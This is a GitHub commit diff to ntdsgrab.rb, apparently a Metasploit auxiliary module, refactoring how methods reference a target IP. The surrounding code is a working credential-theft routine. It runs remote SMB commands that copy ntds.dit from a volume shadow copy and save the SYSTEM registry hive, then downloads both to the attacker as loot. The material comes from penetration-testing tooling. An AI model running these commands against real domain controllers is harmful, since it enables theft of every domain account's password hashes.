Skip to content

Commit abbb3b2

Browse files
Royce DavisRoyce Davis
authored andcommitted
methods that use @ip now reference it directly instead of being passed in as paramaters
1 parent 462ffb7 commit abbb3b2

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/auxiliary/admin/smb/ntdsgrab.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -88,9 +88,9 @@ def run
8888
end
8989
end
9090
if vscpath
91-
if copy_ntds(@ip, vscpath, text) and copy_sys_hive(@ip)
92-
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"), @ip)
93-
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"), @ip)
91+
if copy_ntds(vscpath, text) and copy_sys_hive
92+
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))
93+
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))
9494
else
9595
print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.")
9696
end
@@ -149,7 +149,7 @@ def make_volume_shadow_copy(createvsc, text, bat)
149149

150150

151151
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
152-
def copy_ntds(ip, vscpath, text)
152+
def copy_ntds(vscpath, text)
153153
begin
154154
ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit"
155155
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
@@ -179,7 +179,7 @@ def check_ntds(text)
179179

180180

181181
# Copies the SYSTEM hive file to the Temp directory on the target host
182-
def copy_sys_hive(ip)
182+
def copy_sys_hive
183183
begin
184184
# Try to crate the sys hive copy
185185
command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
@@ -192,14 +192,14 @@ def copy_sys_hive(ip)
192192

193193

194194
# Download the ntds.dit copy to your attacking machine
195-
def download_ntds(file, ip)
195+
def download_ntds(file)
196196
print_status("#{peer} - Downloading ntds.dit file")
197197
begin
198198
# Try to download ntds.dit
199199
simple.connect("\\\\#{@ip}\\#{@smbshare}")
200200
remotefile = simple.open("#{file}", 'rob')
201201
data = remotefile.read
202-
store_loot("NTDS.database", "data", ip, data, "ntds.dit", nil, nil)
202+
store_loot("NTDS.database", "data", @ip, data, "ntds.dit", nil, nil)
203203
remotefile.close
204204
rescue StandardError => ntdsdownloaderror
205205
print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
@@ -210,14 +210,14 @@ def download_ntds(file, ip)
210210

211211

212212
# Download the SYSTEM hive copy to your attacking machine
213-
def download_sys_hive(file, ip)
213+
def download_sys_hive(file)
214214
print_status("#{peer} - Downloading SYSTEM hive file")
215215
begin
216216
# Try to download SYSTEM hive
217217
simple.connect("\\\\#{@ip}\\#{@smbshare}")
218218
remotefile = simple.open("#{file}", 'rob')
219219
data = remotefile.read
220-
store_loot("Registry.hive.system", "binary/reg", ip, data, "system-hive", nil, nil)
220+
store_loot("Registry.hive.system", "binary/reg", @ip, data, "system-hive", nil, nil)
221221
remotefile.close
222222
rescue StandardError => sysdownloaderror
223223
print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}")

0 commit comments

Comments
 (0)